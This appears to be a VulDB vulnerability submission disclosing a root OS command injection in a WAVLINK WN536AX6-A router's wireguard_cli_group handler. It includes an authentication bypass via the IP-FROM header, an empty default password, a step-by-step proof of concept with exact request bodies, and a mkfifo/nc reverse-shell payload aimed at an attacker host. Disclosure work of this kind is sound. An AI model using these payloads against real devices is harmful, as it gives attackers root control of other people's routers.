| Title | Wavlink Router Firmware V260507_2.0.0 OS Command Injection |
|---|
| Description | An OS command injection vulnerability (CWE-78) was identified in the WAVLINK WN536AX6-A (AX6000) router, firmware M36AX6_V260507_2.0.0-WO-d173724 (OpenWrt-based, ARM aarch64/musl).
The web management interface is a lighttpd front-end (ports 80/443) that proxies dynamic *.csp requests to a back-end service, /bin/ioos, listening on 127.0.0.1:81 and running as root. ioos dispatches requests based on the "opt" parameter via a {name,handler} table. The handler for fname=sys & opt=wireguard_cli_group (function sub_41a1d8, file /bin/ioos) takes the user-controlled "group_name" request parameter and passes it to system() via snprintf without any input validation or sanitisation:
snprintf(buf, 0x4000, "uci set wgclient.@groups[-1].group_name='%s'", group_name); // 0x41a5a8
system(buf); // 0x41a5c0
Because the user input is embedded inside single quotes, a group_name value such as a';id>/tmp/p; breaks out of the quoted string (a';CMD;') and injects an arbitrary OS command, which executes with root privileges and leads to full compromise of the device. This is the sibling of the openvpn_cli_group injection (sub_416760, "uci set ovpnclient.@groups[-1].group_name='%s'") - both handlers share the identical "paste user input into a single-quoted uci set" pattern and are exploitable in the same way.
Exploitation requires reaching ioos and passing its login check. Two vectors exist: (a) the dispatcher (cgi_protocol_handler) trusts the IP-FROM request header and sets the login flag to 1 whenever IP-FROM equals "127.0.0.1", with NO token required - exploitable from loopback or any SSRF that can reach 127.0.0.1:81; (b) through the lighttpd front door with a valid token, which on a factory-default device is obtainable via the login endpoint (fname=system&opt=login&function=set) using an EMPTY password (the device ships in first_login state), making the attack effectively unauthenticated from the network until the administrator sets a password. ioos' custom HTTP parser introduces two exploitable quirks: spaces must be sent as %20 (it does not treat "+" as space) and the IP-FROM header is only honoured when it precedes Content-Type in the request.
Proof of concept (front-door vector, default-config device):
Step 1 - login (empty password):
POST /index.csp?token=x body: fname=system&opt=login&function=set
Response: { ..., "token": "<32-hex token>", "error": 0 }
Step 2 - command injection (id output to /tmp/p on the device):
POST /index.csp?token=<token> body: fname=sys&opt=wireguard_cli_group&function=set&action=add&group_id=5&group_name=a%27%3Bid%3E/tmp/p%3B%27
Response: { "success": 1, "error": 0 }
The file /tmp/p on the device then contains: uid=0(root) gid=0(root) groups=0(root)
A root reverse shell is obtained by sending group_name = a';setsid sh -c "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc <attacker-ip> <port>>/tmp/f" </dev/null >/dev/null 2>&1 ;' (busybox nc has no -e, so the mkfifo pipe trick is used).
The vulnerability was dynamically verified against the firmware emulated with qemu-aarch64 user-mode emulation; arbitrary commands were executed with root privileges (uid=0) through both the loopback-bypass and the empty-password front-door vectors on the wireguard_cli_group handler. A ready-to-run Python EXP is published alongside the advisory (use --opt wireguard_cli_group). |
|---|
| Source | ⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/WAVLINK_WN536AX6-A%20Router/WAVLINK_WN536AX6-A_wireguard_cli_group_command_injection.md |
|---|
| User | shuyi (UID 100431) |
|---|
| Submission | 08/09/2026 05:00 (3 months ago) |
|---|
| Moderation | 11/01/2026 08:44 (3 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 429621 [WAVLINK WN536AX6-A V260507_2.0.0 WireGuard CLI Group /bin/ioos sub_41a1d8 group_name os command injection] |
|---|
| Points | 20 |
|---|